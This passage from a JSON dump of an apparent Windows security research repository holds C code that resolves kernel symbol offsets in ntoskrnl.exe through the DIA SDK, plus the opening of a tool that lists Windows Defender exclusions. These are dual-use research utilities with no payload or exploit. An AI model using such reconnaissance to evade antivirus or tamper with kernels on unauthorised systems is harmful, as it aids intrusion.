  if (ppUnk == NULL) {\n        return E_INVALIDARG;\n    }\n\n    if (IsEqualIID(rid, &IID_IDiaLoadCallback2))\n        *ppUnk = (IDiaLoadCallback2*)This;\n    else if (IsEqualIID(rid, &IID_IDiaLoadCallback))\n        *ppUnk = (IDiaLoadCallback*)This;\n    else if (IsEqualIID(rid, &IID_IUnknown))\n        *ppUnk = (IUnknown*)This;\n    else\n        *ppUnk = NULL;\n    if (*ppUnk != NULL) {\n        This->lpVtbl->AddRef(This);\n        return S_OK;\n    }\n    return E_NOINTERFACE;\n}\n\nULONG STDMETHODCALLTYPE AddRef(\n    IDiaLoadCallback2* This\n) {\n    DiaCallback* Callback = (DiaCallback*)This;\n    return ++Callback->m_nRefCount;\n}\n\nULONG STDMETHODCALLTYPE Release(\n    IDiaLoadCallback2* This\n) {\n    DiaCallback* Callback = (DiaCallback*)This;\n\n    if ((--Callback->m_nRefCount) == 0) {\n        DiaCallbackHelper(FALSE, (PVOID)&This);\n        return 0x00;\n    }\n    return Callback->m_nRefCount;\n}\n\nHRESULT STDMETHODCALLTYPE NotifyDebugDir(\n    IDiaLoadCallback2* This,\n    BOOL               fExecutable,\n    DWORD              cbData,\n    BYTE               data[]     // really a const struct _IMAGE_DEBUG_DIRECTORY *\n) {\n    return S_OK;\n}\n\nHRESULT STDMETHODCALLTYPE NotifyOpenDBG(\n    IDiaLoadCallback2* This,\n    LPCOLESTR          dbgPath,\n    HRESULT            resultCode\n) {\n    return S_OK;\n}\n\nHRESULT STDMETHODCALLTYPE NotifyOpenPDB(\n    IDiaLoadCallback2* This,\n    LPCOLESTR          pdbPath,\n    HRESULT            resultCode\n) {\n    if (SUCCEEDED(resultCode)) {\n        wprintf(L\"[*] Open: %s\\r\\n\", pdbPath);\n    }\n    return S_OK;\n}\n\nHRESULT STDMETHODCALLTYPE RestrictRegistryAccess(\n    IDiaLoadCallback2* This\n) {\n    // return hr != S_OK to prevent querying the registry for symbol search paths\n    return S_OK;\n}\n\nHRESULT STDMETHODCALLTYPE RestrictSymbolServerAccess(\n    IDiaLoadCallback2* This\n) {\n    // return hr != S_OK to prevent accessing a symbol server\n    return S_OK;\n}\n\nHRESULT STDMETHODCALLTYPE RestrictOriginalPathAccess(\n    IDiaLoadCallback2* This\n) {\n    // return hr != S_OK to prevent querying the registry for symbol search paths\n    return S_OK;\n}\n\nHRESULT STDMETHODCALLTYPE RestrictReferencePathAccess(\n    IDiaLoadCallback2* This\n) {\n    // return hr != S_OK to prevent accessing a symbol server\n    return S_OK;\n}\n\nHRESULT STDMETHODCALLTYPE RestrictDBGAccess(\n    IDiaLoadCallback2* This\n) {\n    return S_OK;\n}\n\nHRESULT STDMETHODCALLTYPE RestrictSystemRootAccess(\n    IDiaLoadCallback2* This\n) {\n    return S_OK;\n}\n\n\nstatic CONST IDiaLoadCallback2Vtbl CallbackVirtualTable = {\n    // IUnknown\n    QueryInterface,\n    AddRef,\n    Release,\n\n    // IDiaLoadCallback\n    NotifyDebugDir,\n    NotifyOpenDBG,\n    NotifyOpenPDB,\n    RestrictRegistryAccess,\n    RestrictSymbolServerAccess,\n\n    // IDiaLoadCallback2\n    RestrictOriginalPathAccess,\n    RestrictReferencePathAccess,\n    RestrictDBGAccess,\n    RestrictSystemRootAccess\n};\n\n_Use_decl_annotations_\nHRESULT STDMETHODCALLTYPE DiaCallbackHelper(\n    _In_    BOOLEAN Initialise,\n    _Inout_ PVOID** Callback\n) {\n    if (Callback == NULL)\n        return E_FAIL;\n\n    // Create the structure for the callback\n    if (Initialise) {\n        if (g_HeapHandle != INVALID_HANDLE_VALUE)\n            return E_FAIL;\n\n        // Create executable heap\n        g_HeapHandle = HeapCreate(\n            HEAP_CREATE_ENABLE_EXECUTE,\n            sizeof(IDiaLoadCallback2Vtbl) + sizeof(DiaCallback),\n            0x1000\n        );\n        if (g_HeapHandle == INVALID_HANDLE_VALUE)\n            return E_FAIL;\n\n        // Allocate memory in the new heap\n        DiaCallback* Buffer = HeapAlloc(g_HeapHandle, HEAP_ZERO_MEMORY, sizeof(DiaCallback) + sizeof(IDiaLoadCallback2Vtbl));\n        if (Buffer == NULL) {\n            HeapDestroy(g_HeapHandle);\n            return E_FAIL;\n        }\n\n        PVOID cstruct = HeapAlloc(g_HeapHandle, HEAP_ZERO_MEMORY, sizeof(DiaCallback));;\n        PVOID vtable  = NULL;\n\n\n        // Assemble everything\n        Buffer->m_nRefCount = 0x00;\n        Buffer->lpVtbl = (IDiaLoadCallback2*)&CallbackVirtualTable;\n\n        *Callback = (PVOID)Buffer;\n        return S_OK;\n    }\n    // Delete the structure for the callback\n    else {\n        if (g_HeapHandle == INVALID_HANDLE_VALUE || Callback == NULL)\n            return E_FAIL;\n\n        // Check that the reference count is zero\n        DiaCallback* src = (DiaCallback*)*Callback;\n        if (src->m_nRefCount != 0x00)\n            return E_FAIL;\n\n        // Free the memory and destroy the executable heap\n        HeapFree(g_HeapHandle, 0x00, src);\n        HeapDestroy(g_HeapHandle);\n        g_HeapHandle = INVALID_HANDLE_VALUE;\n    }\n\n    return E_FAIL;\n}"
  },
  {
    "path": "DIA/src/dirutil.c",
    "content": "/*+================================================================================================\nModule Name: dirutil.c\nAuthor     : Paul L. (@am0nsec)\nOrigin     : https://github.com/am0nsec/wspe/\nCopyright  : This project has been released under the GNU Public License v3 license.\n\nAbstract:\nWindows Directory utility code.\nUsed to change directory to the \"PDB\" folder and get the correct symbol server search path.\n\n================================================================================================+*/\n\n#include <Windows.h>\n#include <strsafe.h>\n\n#include \"dirutil.h\"\n\n// Directory before changing.\nPWCHAR g_DefaultDirectory = NULL;\n\n// Directory after changing.\nPWCHAR g_NewDirectory = NULL;\n\n// The symbol server search path.\nPWCHAR g_SymSrvSearchPath = NULL;\n\n// Path to the msdiaXXX.dll module.\nPWCHAR g_ModulePath = NULL;\n\n_Use_decl_annotations_\nHRESULT ChangeDirectory(\n\t_In_ PWCHAR Directory,\n\t_In_ DWORD  Size\n) {\n\n\t// Get the current path\n\tDWORD dwCurrentDirectory = GetCurrentDirectoryW(0x00, NULL);\n\tDWORD dwBuffer = 0x100;\n\twhile (dwCurrentDirectory > dwBuffer)\n\t\tdwBuffer += 0x100;\n\n\t// Allocate memory for the full current path\n\tg_DefaultDirectory = calloc(1, dwBuffer);\n\tif (g_DefaultDirectory == NULL)\n\t\treturn E_OUTOFMEMORY;\n\tGetCurrentDirectoryW(dwBuffer, g_DefaultDirectory);\n\n\t// Allocate memory for the new path\n\tg_NewDirectory = calloc(1, dwBuffer);\n\tif (g_NewDirectory == NULL) {\n\t\tfree(g_DefaultDirectory);\n\t\tg_DefaultDirectory = NULL;\n\n\t\treturn E_FAIL;\n\t}\n\n\t// Make sure we can build the path\n\tif (FAILED(StringCbPrintfW(g_NewDirectory, dwBuffer, L\"%s\\\\%s\\\\\\0\", g_DefaultDirectory, Directory))) {\n\t\tfree(g_NewDirectory);\n\t\tfree(g_DefaultDirectory);\n\n\t\tg_NewDirectory = NULL;\n\t\tg_DefaultDirectory = NULL;\n\n\t\treturn E_FAIL;\n\t}\n\n\t// Set the path\n\tif (!SetCurrentDirectoryW(g_NewDirectory)) {\n\t\tfree(g_NewDirectory);\n\t\tfree(g_DefaultDirectory);\n\n\t\tg_NewDirectory = NULL;\n\t\tg_DefaultDirectory = NULL;\n\n\t\treturn E_FAIL;\n\t}\n\t\n\treturn S_OK;\n}\n\n\n_Use_decl_annotations_\nPWCHAR GetSymSrvSearchPath(\n\tVOID\n) {\n\tif (g_SymSrvSearchPath != NULL)\n\t\treturn g_SymSrvSearchPath;\n\n\t// Local Stack Variables\n\tCONST PWCHAR Sym = L\"symsrv\";\n\tCONST PWCHAR Dll = L\"symsrv.dll\";\n\tCONST PWCHAR Web = L\"https://msdl.microsoft.com/download/symbols\";\n\n\t// Calculate the size of the buffer to allocate\n\tDWORD dwBuffer = 0x100;\n\tDWORD dwSize   = lstrlenW(Sym) + lstrlenW(Dll) + lstrlenW(Web) + (sizeof(WCHAR) * 4) + lstrlenW(g_NewDirectory);\n\twhile (dwBuffer < dwSize)\n\t\tdwBuffer += 0x100;\n\n\tg_SymSrvSearchPath = calloc(1, dwBuffer);\n\tif (g_SymSrvSearchPath == NULL)\n\t\treturn NULL;\n\n\t// Assemble the whole strign now\n\tHRESULT Result = StringCbPrintfW(\n\t\tg_SymSrvSearchPath,\n\t\tdwBuffer,\n\t\tL\"%s*%s*%s*%s\\0\",\n\t\tSym,\n\t\tDll,\n\t\tg_NewDirectory,\n\t\tWeb\n\t);\n\tif (FAILED(Result)) {\n\t\tfree(g_SymSrvSearchPath);\n\t\tg_SymSrvSearchPath = NULL;\n\t}\n\n\t// Path value by reference\n\treturn g_SymSrvSearchPath;\n}\n\n\nPWCHAR GetMsdiaModulePath(\n\tVOID\n) {\n\t// Get current directory\n\tDWORD dwCurrentDirectory = GetCurrentDirectoryW(0x00, NULL);\n\tDWORD dwBuffer = 0x100;\n\twhile (dwCurrentDirectory > dwBuffer)\n\t\tdwBuffer += 0x100;\n\n\t// Allocate memory for the current path\n\tPWCHAR CurrentDirectory = calloc(1, dwBuffer);\n\tif (CurrentDirectory == NULL)\n\t\treturn E_OUTOFMEMORY;\n\tGetCurrentDirectoryW(dwBuffer, CurrentDirectory);\n\n\t// Calculate final size\n\tCONST PWCHAR Dir = L\"msdia\";\n\tCONST PWCHAR Dll = L\"msdia140.dll\";\n\n\tDWORD dwSize = lstrlenW(Dir) + lstrlenW(Dll) + (sizeof(WCHAR) * 4) + dwCurrentDirectory;\n\twhile (dwBuffer < dwSize)\n\t\tdwBuffer += 0x100;\n\n\t// Assemble the path\n\tg_ModulePath = calloc(1, dwBuffer);\n\tif (g_ModulePath == NULL)\n\t\treturn NULL;\n\n\t// Assemble the whole strign now\n\tHRESULT Result = StringCbPrintfW(\n\t\tg_ModulePath,\n\t\tdwBuffer,\n\t\tL\"%s\\\\%s\\\\%s\\0\",\n\t\tCurrentDirectory,\n\t\tDir,\n\t\tDll\n\t);\n\tif (FAILED(Result)) {\n\t\tfree(g_ModulePath);\n\t\tg_ModulePath = NULL;\n\t}\n\n\t// Path value by reference\n\treturn g_ModulePath;\n}\n\n\n_Use_decl_annotations_\nHRESULT ResetDirectory(\n\tVOID\n) {\n\t// Change directory\n\tHRESULT Result = S_OK;\n\tif (g_DefaultDirectory != NULL)\n\t\tResult = SetCurrentDirectoryW(g_DefaultDirectory) == TRUE ? S_OK : E_FAIL;\n\n\t// Free memory\n\tif (g_DefaultDirectory != NULL) {\n\t\tfree(g_DefaultDirectory);\n\t\tg_DefaultDirectory = NULL;\n\t}\n\tif (g_SymSrvSearchPath != NULL) {\n\t\tfree(g_SymSrvSearchPath);\n\t\tg_SymSrvSearchPath = NULL;\n\t}\n\tif (g_NewDirectory != NULL) {\n\t\tfree(g_NewDirectory);\n\t\tg_NewDirectory = NULL;\n\t}\n\tif (g_ModulePath != NULL) {\n\t\tfree(g_ModulePath);\n\t\tg_ModulePath = NULL;\n\t}\n\n\treturn Result;\n}\n"
  },
  {
    "path": "DIA/src/interface.c",
    "content": "/*+================================================================================================\nModule Name: interface.c\nAuthor     : Paul L. (@am0nsec)\nOrigin     : https://github.com/am0nsec/wspe/\nCopyright  : This project has been released under the GNU Public License v3 license.\n\nAbstract:\nAbstraction of the Microsoft Debug Interface Access (DIA) SDK.\n\nDocumentation available at: https://docs.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/debug-interface-access-sdk\nMost of the code is based on the Dia2Dump code sample shipped with the MS DIA SDK.\n================================================================================================+*/\n\n#include <Windows.h>\n#include <stdio.h>\n\n#include \"interface.h\"\n\n// e6756135-1e65-4d17-8576-610761398c3c\nCONST CLSID CLSID_DiaSource = {\n\t0xe6756135, 0x1e65, 0x4d17, { 0x85, 0x76, 0x61, 0x07, 0x61, 0x39, 0x8c, 0x3c }\n};\n\n// 79F1BB5F-B66E-48e5-B6A9-1545C323CA3D\nCONST IID IID_IDiaDataSource = {\n\t0x79F1BB5F, 0xB66E, 0x48e5, { 0xB6, 0xA9, 0x15, 0x45, 0xC3, 0x23, 0xCA, 0x3D }\n};\n\n// Global Data Source COM interface\nIDiaDataSource* g_DataSource = NULL;\n\n// Global Session COM interface\nIDiaSession* g_Session = NULL;\n\n// Global Symbol COM interface\nIDiaSymbol* g_GlobalSymbol = NULL;\n\n// Global Callback COM interface\nIDiaLoadCallback2* g_Callback = NULL;\n\n\n_Use_decl_annotations_\nHRESULT STDMETHODCALLTYPE DiaInitialise(\n\t_In_ PWCHAR DllName\n) {\n\t// Check if already initialised\n\tHRESULT Result = S_OK;\n\tif (g_DataSource != NULL)\n\t\treturn Result;\n\n\t// Initialise COM runtime\n\tif (!SUCCEEDED(CoInitialize(NULL)))\n\t\treturn E_FAIL;\n\n\t// Load the module\n\tHMODULE hModule = LoadLibraryExW(GetMsdiaModulePath(), NULL, LOAD_WITH_ALTERED_SEARCH_PATH);\n\tif (hModule == NULL)\n\t\treturn E_FAIL;\n\tResetDirectory();\n\n\t// Get exported routine\n\tTDllGetClassObject DllGetClassObject = (TDllGetClassObject)GetProcAddress(hModule, \"DllGetClassObject\");\n\tif (DllGetClassObject == NULL)\n\t\treturn GetLastError();\n\n\t// Create Instance of the IDiaDataSource COM interface\n\tIClassFactory* ClassFactory = NULL;\n\tif (SUCCEEDED(DllGetClassObject(&CLSID_DiaSource, &IID_IClassFactory, (LPVOID*)&ClassFactory))) {\n\t\tResult = ClassFactory->lpVtbl->CreateInstance(ClassFactory, NULL, &IID_IDiaDataSource, &g_DataSource);\n\t\tif (SUCCEEDED(Result))\n\t\t\tClassFactory->lpVtbl->AddRef(ClassFactory);\n\t\treturn Result;\n\t}\n\telse {\n\t\tHRESULT Result = GetLastError();\n\t\tif (Result > 0x00)\n\t\t\tResult |= REASON_LEGACY_API;\n\t\treturn Result;\n\t}\n}\n\n\n_Use_decl_annotations_\nVOID STDMETHODCALLTYPE DiaUninitialise() {\n\tif (g_GlobalSymbol != NULL) {\n\t\tg_GlobalSymbol->lpVtbl->Release(g_GlobalSymbol);\n\t\tg_GlobalSymbol = NULL;\n\t}\n\n\tif (g_Session != NULL) {\n\t\tg_Session->lpVtbl->Release(g_Session);\n\t\tg_Session = NULL;\n\t}\n\n\tif (g_DataSource != NULL) {\n\t\tg_DataSource->lpVtbl->Release(g_DataSource);\n\t\tg_DataSource = NULL;\n\t}\n\n\tif (g_Callback != NULL) {\n\t\tg_Callback->lpVtbl->Release(g_Callback);\n\t\tg_Callback = NULL;\n\t}\n\n\tCoUninitialize();\n}\n\n\n_Use_decl_annotations_\nHRESULT STDMETHODCALLTYPE DiaLoadDataFromPdb(\n\t_In_ PWCHAR FilePath\n) {\n\t// Check if already initialised\n\tif (g_DataSource == NULL)\n\t\treturn E_FAIL;\n\tHRESULT Result = S_OK;\n\n\t// Extract the file extension from the path\n\tPWCHAR FileExtension = calloc(1, MAX_PATH * sizeof(WCHAR));\n\tif (FileExtension == NULL)\n\t\treturn E_OUTOFMEMORY;\n\t_wsplitpath_s(FilePath, NULL, 0, NULL, 0, NULL, 0, FileExtension, MAX_PATH);\n\n\t// File is a \".PDB\"\n\tif (!_wcsicmp(FileExtension, L\".pdb\")) {\n\t\tfree(FileExtension);\n\n\t\tResult = g_DataSource->lpVtbl->loadDataFromPdb(g_DataSource, FilePath);\n\t\tif (FAILED(Result)) {\n\t\t\twprintf(L\"[-] Failed to load data from the PDB file (%08X).\\r\\n\", Result);\n\t\t\treturn Result;\n\t\t}\n\t}\n\t// File is a \".EXE\"\n\telse if(!_wcsicmp(FileExtension, L\".exe\")) {\n\t\tfree(FileExtension);\n\n\t\t// Create the callback COM implementation\n\t\tif (FAILED(DiaCallbackHelper(TRUE, (PVOID)&g_Callback))) {\n\t\t\twprintf(L\"[-] Failed to create the DIA Callback.\\r\\n\");\n\t\t\treturn E_FAIL;\n\t\t}\n\t\tg_Callback->lpVtbl->AddRef(g_Callback);\n\n\t\t// Forge the Symbol search path\n\t\tChangeDirectory(L\"pdb\", 4);\n\n\t\t// Load the PDB from Microsoft symbol server\n\t\tResult = g_DataSource->lpVtbl->loadDataForExe(\n\t\t\tg_DataSource,\n\t\t\tFilePath,\n\t\t\tGetSymSrvSearchPath(),\n\t\t\t(PVOID)g_Callback\n\t\t);\n\t\tif (FAILED(Result)) {\n\t\t\twprintf(L\"[-] Failed to load PDB file (%08X).\\r\\n\", Result);\n\t\t\tResetDirectory();\n\n\t\t\tg_Callback->lpVtbl->Release(g_Callback);\n\t\t\treturn Result;\n\t\t}\n\n\t\tResetDirectory();\n\t}\n\t\n\t// Open session to access symbols\n\tResult = g_DataSource->lpVtbl->openSession(g_DataSource, &g_Session);\n\tif (FAILED(Result)) {\n\t\twprintf(L\"[-] Failed to open session (%08X).\\r\\n\", Result);\n\t\treturn Result;\n\t}\n\n\t// Get the global scope\n\tResult = g_Session->lpVtbl->get_globalScope(g_Session, &g_GlobalSymbol);\n\tif (FAILED(Result)) {\n\t\twprintf(L\"[-] Failed to get global scope (%08X).\\r\\n\", Result);\n\t\treturn Result;\n\t}\n\n\treturn Result;\n}\n\n\n_Use_decl_annotations_\nHRESULT STDMETHODCALLTYPE DiaFindPublicSymbols(\n\t_In_ PUBLIC_SYMBOL PublicSymbols[],\n\t_In_ DWORD         Elements\n) {\n\t// Check if everything has been properly initialised.\n\tif (g_DataSource == NULL || g_Session == NULL || g_GlobalSymbol == NULL)\n\t\treturn E_FAIL;\n\n\t// Enumerates the various symbols contained in the data source.\n\tIDiaEnumSymbols* EnumSymbols = NULL;\n\tHRESULT Result = g_GlobalSymbol->lpVtbl->findChildren(\n\t\tg_GlobalSymbol,\n\t\tSymTagPublicSymbol,\n\t\tNULL,\n\t\tnsNone,\n\t\t&EnumSymbols\n\t);\n\tif (FAILED(Result)) {\n\t\twprintf(L\"[-] Failed to load symbol enumerator (%08X).\\r\\n\", Result);\n\t\treturn Result;\n\t}\n\n\t// Parse all symbols\n\tIDiaSymbol* Symbol = NULL;\n\tULONG       celt   = 0x00;\n\twhile (SUCCEEDED(EnumSymbols->lpVtbl->Next(EnumSymbols, 0x01, &Symbol, &celt)) && (celt == 1)) {\n\n\t\tDWORD dwTag = 0x00;\n\t\tDWORD dwRVA = 0x00;\n\t\tDWORD dwOff = 0x00;\n\t\tDWORD dwSeg = 0x00;\n\t\tBSTR  Name  = NULL;\n\n\t\t// Make sure we have a tag for the symbol\n\t\tif (FAILED(Symbol->lpVtbl->get_symTag(Symbol, &dwTag)))\n\t\t\tgoto next_symbol;\n\n\t\t// Get the name of the global variable\n\t\tif (SUCCEEDED(Symbol->lpVtbl->get_name(Symbol, &Name))) {\n\n\t\t\t// Find the symbol\n\t\t\tBOOLEAN Found = FALSE;\n\t\t\tDWORD Index = 0x00;\n\t\t\tfor (DWORD cx = 0x00; cx < Elements; cx++) {\n\t\t\t\tif (wcscmp(PublicSymbols[cx].Name, Name) == 0x00) {\n\t\t\t\t\tIndex = cx;\n\t\t\t\t\tFound = TRUE;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!Found)\n\t\t\t\tgoto next_symbol;\n\n\t\t\t// Get the Relative Virtual Address (RVA), the offset and section\n\t\t\tif (FAILED(Symbol->lpVtbl->get_relativeVirtualAddress(Symbol, &dwRVA)))\n\t\t\t\tdwRVA = 0xFFFFFFFF;\n\t\t\tSymbol->lpVtbl->get_addressSection(Symbol, &dwSeg);\n\t\t\tSymbol->lpVtbl->get_addressOffset(Symbol, &dwOff);\n\t\t\t\n\t\t\tPublicSymbols[Index].dwTag = dwTag;\n\t\t\tPublicSymbols[Index].dwRVA = dwRVA;\n\t\t\tPublicSymbols[Index].dwOff = dwOff;\n\t\t\tPublicSymbols[Index].dwSeg = dwSeg;\n\n\t\t\t// Release current interface\nnext_symbol:\n\t\t\tSymbol->lpVtbl->Release(Symbol);\n\t\t}\n\t}\n\tEnumSymbols->lpVtbl->Release(EnumSymbols);\n\treturn S_OK;\n}"
  },
  {
    "path": "DIA/src/main.c",
    "content": "/*+================================================================================================\nModule Name: main.c\nAuthor     : Paul L. (@am0nsec)\nOrigin     : https://github.com/am0nsec/wspe/\nCopyright  : This project has been released under the GNU Public License v3 license.\n\nAbstract:\nApplication entry point.\n\n================================================================================================+*/\n\n#include <Windows.h>\n\n#include \"interface.h\"\n\n// Macro to make the code less bloated\n#define EXIT_ON_FAILURE(ex) if (!SUCCEEDED(ex)) { return EXIT_FAILURE; }\n\n#define ADD_TABLE_ENTRY(str) { 0x00, 0x00, 0x00, 0x00, str }\n\nVOID SortTable(\n\t_In_ PUBLIC_SYMBOL PublicSymbols[],\n\t_In_ DWORD         Elements\n) {\n\t// Sort with segment\n\tfor (DWORD cx = 0x00; cx < (Elements - 1); cx++) {\n\t\tfor (DWORD dx = 0x00; dx < (Elements - cx - 1); dx++) {\n\t\t\tif (PublicSymbols[dx].dwSeg > PublicSymbols[dx + 1].dwSeg) {\n\n\t\t\t\tPUBLIC_SYMBOL Temp = PublicSymbols[dx];\n\t\t\t\tRtlCopyMemory(&Temp, &PublicSymbols[dx], sizeof(PUBLIC_SYMBOL));\n\t\t\t\tRtlCopyMemory(&PublicSymbols[dx], &PublicSymbols[dx + 1], sizeof(PUBLIC_SYMBOL));\n\t\t\t\tRtlCopyMemory(&PublicSymbols[dx + 1], &Temp, sizeof(PUBLIC_SYMBOL));\n\t\t\t}\n\t\t}\n\t}\n\n\t// Sort with RVA\n\tfor (DWORD cx = 0x00; cx < (Elements - 1); cx++) {\n\t\tfor (DWORD dx = 0x00; dx < (Elements - cx - 1); dx++) {\n\t\t\tif (PublicSymbols[dx].dwRVA > PublicSymbols[dx + 1].dwRVA) {\n\n\t\t\t\tPUBLIC_SYMBOL Temp = PublicSymbols[dx];\n\t\t\t\tRtlCopyMemory(&Temp, &PublicSymbols[dx], sizeof(PUBLIC_SYMBOL));\n\t\t\t\tRtlCopyMemory(&PublicSymbols[dx], &PublicSymbols[dx + 1], sizeof(PUBLIC_SYMBOL));\n\t\t\t\tRtlCopyMemory(&PublicSymbols[dx + 1], &Temp, sizeof(PUBLIC_SYMBOL));\n\t\t\t}\n\t\t}\n\t}\n}\n\n/// <summary>\n/// Application Entry Point.\n/// </summary>\n/// <returns>Exit status code.</returns>\nINT main(VOID) {\n\t// Banner\n\twprintf(L\"=================================================================\\r\\n\");\n\twprintf(L\"Module Name: Microsoft Debug Interface Access (DIA) Experiments \\r\\n\");\n\twprintf(L\"Author     : Paul L. (@am0nsec)                                 \\r\\n\");\n\twprintf(L\"Origin     : https://github.com/am0nsec/wspe/                   \\r\\n\\r\\n\");\n\twprintf(L\"Tested OS  : Windows 10 (20h2) - 19044.1706                     \\r\\n\");\n\twprintf(L\"=================================================================\\r\\n\\r\\n\");\n\n\t// Initialise COM runtime and get IDiaDataSource interface.\n\twprintf(L\"[*] Initialise MSDIA \\r\\n\");\n\tEXIT_ON_FAILURE(DiaInitialise(L\"msdia140.dll\"));\n\n\t// Load the data from the PDB\n\twprintf(L\"[*] Open PDB from EXE: C:\\\\WINDOWS\\\\System32\\\\ntoskrnl.exe\\r\\n\");\n\tEXIT_ON_FAILURE(DiaLoadDataFromPdb(L\"C:\\\\WINDOWS\\\\System32\\\\ntoskrnl.exe\"));\n\n\t// Parse all public symbols\n\tPUBLIC_SYMBOL Symbols[] = {\n\t\t// Memory Manager variables\n\t\tADD_TABLE_ENTRY(L\"MiState\"),\n\t\tADD_TABLE_ENTRY(L\"MiVisibleState\"),\n\t\tADD_TABLE_ENTRY(L\"MmPteBase\"),\n\t\tADD_TABLE_ENTRY(L\"MmSizeOfNonPagedPoolInBytes\"),\n\t\tADD_TABLE_ENTRY(L\"MmHighestUserAddress\"),\n\t\tADD_TABLE_ENTRY(L\"PoolTrackTable\"),\n\t\tADD_TABLE_ENTRY(L\"ExPoolTagTables\"),\n\t\tADD_TABLE_ENTRY(L\"ExpPoolBlockShift\"),\n\t\tADD_TABLE_ENTRY(L\"ExpSessionPoolTrackTable\"),\n\t\tADD_TABLE_ENTRY(L\"ExpSessionPoolTrackTableSize\"),\n\n\t\t// Loader variables\n\t\tADD_TABLE_ENTRY(L\"PsLoadedModuleList\"),\n\n\t\t// Process Manager variables\n\t\tADD_TABLE_ENTRY(L\"PsActiveProcessHead\"),\n\n\t\t// General kernel info\n\t\tADD_TABLE_ENTRY(L\"KeNumberProcessors\")\n\t};\n\tEXIT_ON_FAILURE(DiaFindPublicSymbols(Symbols, _ARRAYSIZE(Symbols)));\n\n\t// Display everything to console\n\tSortTable(Symbols, _ARRAYSIZE(Symbols));\n\t\n\twprintf(L\"\\r\\n\");\n\twprintf(L\"Found  Segment  RVA       Offset    Name\\r\\n\");\n\twprintf(L\"-----  -------  ---       ------    ----\\r\\n\");\n\n\tDWORD Found = 0x00;\n\tfor (DWORD cx = 0x00; cx < _ARRAYSIZE(Symbols); cx++) {\n\t\twprintf(L\"%s      %04X     %08X  %08X  %s\\r\\n\",\n\t\t\tSymbols[cx].dwRVA != 0x00 ? L\"\\033[0;32mY\\033[0;37m\" : L\"\\033[0;31mN\\033[0;37m\",\n\t\t\tSymbols[cx].dwSeg,\n\t\t\tSymbols[cx].dwRVA,\n\t\t\tSymbols[cx].dwOff,\n\t\t\tSymbols[cx].Name\n\t\t);\n\t\tFound += Symbols[cx].dwRVA != 0x00 ? 1 : 0;\n\t}\n\n\twprintf(L\"\\r\\n\");\n\twprintf(L\"Found:   %i\\r\\n\", Found);\n\twprintf(L\"Missing: %i\\t\\n\", (_ARRAYSIZE(Symbols) - Found));\n\n\t// Uninitialise COM runtime and general cleanup\n\tDiaUninitialise();\n\treturn EXIT_SUCCESS;\n}"
  },
  {
    "path": "Defender/ExclusionLists/CMakeLists.txt",
    "content": "# @file        CMakeLists.txt\n# @author      Paul L. (@am0nsec)\n# @version     1.0\n# @brief       List Windows Defender Exclusion Lists\n# @details     \n# @link        https://github.com/am0nsec/wspe\n# @copyright   This project has been released under the GNU Public License v3 license.\n\ninclude_directories(inc)\n\nadd_executable(defender-exclusion-list\n\t\"main.c\"\n\t\"src/defender.c\"\n )"
  },
  {
    "path": "Defender/ExclusionLists/inc/defender.h",
    "content": "/**\n* @file\t\t\tdefender.h\n* @author\t\tPaul L. (@am0nsec)\n* @version\t\t1.0\n* @brief        Windows Defender Exclusion List header.\n* @details\n* @link\t\t\thttps://github.com/am0nsec/wspe\n* @copyright\tThis project has been released under the GNU Public License v3 license.\n*/\n\n#ifndef __DEFENDER_EXCLUSIONLISTS_H_GUARD__\n#define __DEFENDER_EXCLUSIONLISTS_H_GUARD__\n\n#include <Windows.h>\n\n/**\n * @brief Windows Defender type of exclusion entry.\n*/\ntypedef enum _DEFENDER_EXCLUSION_TYPE {\n\tDefenderExclusionExtensions     = 0x00,\n\tDefenderExclusionIpAddress      = 0x01,\n\tDefenderExclusionPaths          = 0x02,\n\tDefenderExclusionProcesses      = 0x03,\n\tDefenderExclusionTemporaryPaths = 0x04\n} DEFENDER_EXCLUSION_TYPE;\n\n/**\n * @brief Double-linked list for Windows Defender exclusion entry.\n*/\ntypedef struct _DEFENDER_EXCLUSION_ENTRY {\n\tLPVOID                    Blink;\n\tLPVOID                    Flink;\n\tDEFENDER_EXCLUSION_TYPE   Type;\n\tDWORD                     Length;\n\tLPCSTR                    Exclusion;\n} DEFENDER_EXCLUSION_ENTRY, *PDEFENDER_EXCLUSION_ENTRY;\n\n/**\n * @brief List of Windows Defender exclusions.\n*/\ntypedef struct _DEFENDER_EXCLUSION_LIST {\n\tPDEFENDER_EXCLUSION_ENTRY Extensions;\n\tPDEFENDER_EXCLUSION_ENTRY IpAddresses;\n\tPDEFENDER_EXCLUSION_ENTRY Paths;\n\tPDEFENDER_EXCLUSION_ENTRY Processes;\n\tPDEFENDER_EXCLUSION_ENTRY TemporaryPaths;\n} DEFENDER_EXCLUSION_LIST, * PDEFENDER_EXCLUSION_LIST;\n\n_Success_(return == S_OK) _Must_inspect_result_\nHRESULT STDMETHODCALLTYPE DfdGetAllExclusions(\n\t_Out_ PDEFENDER_EXCLUSION_LIST pExclusionsList\n);\n\n_Success_(return == S_OK) _Must_inspect_result_\nHRESULT STDMETHODCALLTYPE DfdpGetExclusionEntries(\n\t_In_  PDEFENDER_EXCLUSION_ENTRY     pExclusionEntry,\n\t_In_  LPCSTR                        szSubKeyName,\n\t_In_  CONST DEFENDER_EXCLUSION_TYPE Type,\n\t_In_  CONST PHKEY                   pParentKey,\n\t_In_  CONST PHANDLE                 phHeap,\n\t_Out_ PDWORD                        pdwNumberOfValues\n);\n\n_Success_(return == S_OK)\nHRESULT STDMETHODCALLTYPE DfdpCleanup(\n\t_In_ PDEFENDER_EXCLUSION_LIST pExclusionsList\n);\n\n#endif // !__DEFENDER_EXCLUSIONLISTS_H_GUARD__\n"
  },
  {
    "path": "Defender/ExclusionLists/main.c",
    "content": "/**\n* @file\t\t\tmain.c\n* @author\t\tPaul L. (@am0nsec)\n* @version\t\t1.0\n* @brief        List Windows Defender exclusions.\n* @details\n* @link\t\t\thttps://github.com/am0nsec/wspe\n* @copyright\tThis project has been released under the GNU Public License v3 license.\n*/\n\n#include <Windows.h>\n#include <stdio.h>\n\n#include \"defender.h\"\n\n/**\n * @brief Application entry point.\n * @return Application exist status.\n*/\nINT main() {\n\n\t// Get the complete list of exclusions\n\tDEFENDER_EXCLUSION_LIST ExclusionList = { 0x00 };\n\tHRESULT Result = DfdGetAllExclusions(&ExclusionList);\n\tif (Result != S_OK)\n\t\treturn EXIT_FAILURE;\n\n\t// Display everything\n\tPDEFENDER_EXCLUSION_ENTRY ListEntry = ExclusionList.Extensions;\n\n\tprintf(\"Type                